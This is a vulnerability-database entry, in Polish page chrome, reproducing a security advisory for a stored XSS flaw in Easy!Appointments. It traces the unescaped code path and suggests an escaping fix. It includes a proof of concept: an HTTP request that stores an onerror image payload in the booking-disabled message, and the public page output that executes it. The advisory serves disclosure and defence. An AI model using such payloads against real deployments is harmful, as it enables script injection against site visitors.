Niska

Easy!Appointments disable_booking_message rendered as raw HTML on public booking page — Stored XSS

  • Ujawniono: 29.07.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

Easy!Appointments allows administrators to define a custom "booking disabled" message through the booking settings page. That value is stored in the disable_booking_message setting via a rich-text editor and later passed directly to the public booking_message view without escaping or sanitization:

php
<p><?= vars('message_text') ?></p>

An authenticated administrator can store HTML or JavaScript in this field, enable disabled-booking mode, and trigger stored XSS in every unauthenticated visitor who opens the public booking page.


Root Cause — Step by Step Code Flow

Step 1 — Rich text editor value stored without sanitization

The booking settings page collects the message value from the Trumbowyg rich-text editor and submits it as raw HTML:

js
// assets/js/pages/booking_settings.js line 61-92
bookingSettings.push({
    name: 'disable_booking_message',
    value: $disableBookingMessage.trumbowyg('html'),
});

Step 2 — Settings controller saves value verbatim

The backend settings controller persists the submitted value without any HTML sanitization:

php
// application/controllers/Booking_settings.php line 76-104
$this->settings_model->save($setting);

Step 3 — Public booking controller forwards stored value to view

When booking is disabled, the public booking controller loads the stored message and passes it directly to the view:

php
// application/controllers/Booking.php line 113-132
$disable_booking_message = setting('disable_booking_message');
 
html_vars([
    'message_text' => $disable_booking_message,
]);

Step 4 — Public view renders value without escaping

The booking message view emits the value raw using PHP's short echo tag with no escaping:

php
// application/views/pages/booking_message.php line 10-12
<p><?= vars('message_text') ?></p>

No htmlspecialchars(), no sanitization, no template escaping is applied at any point in this rendering path.


Proof of Concept

Step 1 — Store malicious disabled-booking message as admin:

http
POST /index.php/booking_settings/save HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <admin-session-cookie>
Content-Type: application/x-www-form-urlencoded
 
csrf_token=<token>&booking_settings[0][name]=disable_booking&booking_settings[0][value]=1&booking_settings[1][name]=disable_booking_message&booking_settings[1][value]=<img src=x onerror=alert("easyappointments xss by ashrexon")>

Response: 200 OK — settings saved successfully

Step 2 — Unauthenticated visitor opens public booking page:

http
GET / HTTP/1.1
Host: 127.0.0.1:18094
(no authentication)

Observed response fragment:

html
<p><img src=x onerror=alert("easyappointments xss by ashrexon")></p>

Observed browser behavior:

alert("easyappointments xss by ashrexon") executes immediately on page load with no authentication required. Confirmed via browser screenshot attached as comment.

Runtime verification result:

admin login ok
settings save ok
payload reflected on public page
PASS

Real World Impact

Easy!Appointments is deployed as a public-facing appointment booking surface for businesses, clinics, and service providers. An administrator can abuse the disabled-booking message — a customer-facing feature intended for maintenance or holiday notices — to plant JavaScript that executes in every visitor's browser when the booking page is disabled. This can be used to:

  • Execute arbitrary JavaScript in visitor browsers on the trusted booking domain
  • Phish visitor credentials or personal information during booking downtime
  • Deface the public booking page during maintenance or outage windows
  • Redirect visitors to attacker-controlled sites

Suggested Fix

Escape the message value before rendering in the view:

php
// application/views/pages/booking_message.php
<p><?= e(vars('message_text')) ?></p>

Alternatively apply a strict HTML sanitizer (allowing only safe formatting tags, no event handlers or script elements) to the disable_booking_message value before storage or before rendering, to preserve intended rich-text formatting while preventing script injection.


Reporter

Yash Shendge (ashrexon) 2026-05-25

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka Composer alextselegidis/easyappointments <= 1.5.2 brak poprawki

Odnośniki

Ocena CVSS 2.6/10
Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:N/I:L/A:N
Słabość (CWE)
CWE-79
Platforma
Composer
Paczka
alextselegidis/easyappointments
Ujawniono
29.07.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-996f-334j-67g7 - CC BY 4.0

Historia podatności: alextselegidis/easyappointments

Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (20) w archiwum
Wszystkich wpisów
20
Pierwsza → ostatnia
03.2022 07.2026
Bez poprawki
15
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 3
  • Wysoka 4
  • Średnia 9
  • Niska 4

Ujawnienia w latach

  1. 2022: 2
  2. 2023: 7
  3. 2024: 0
  4. 2025: 4
  5. 2026: 7
Istotność:
  1. Easy!Appointments disable_booking_message rendered as raw HTML on public booking page — Stored XSS ten wpis
    Niska · 2.6 CVE-2026-52838 <= 1.5.2 brak poprawki
  2. Krytyczna · 9.8 CVE-2024-57602 <= 1.5.0 brak poprawki
  3. Wysoka · 7.3 CVE-2023-1367 < 1.5.0 1.5.0
  4. Krytyczna · 9.8 CVE-2023-1269 <= 1.4.3 brak poprawki
  5. Wysoka · 8.8 CVE-2022-1397 <= 1.4.3 brak poprawki

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.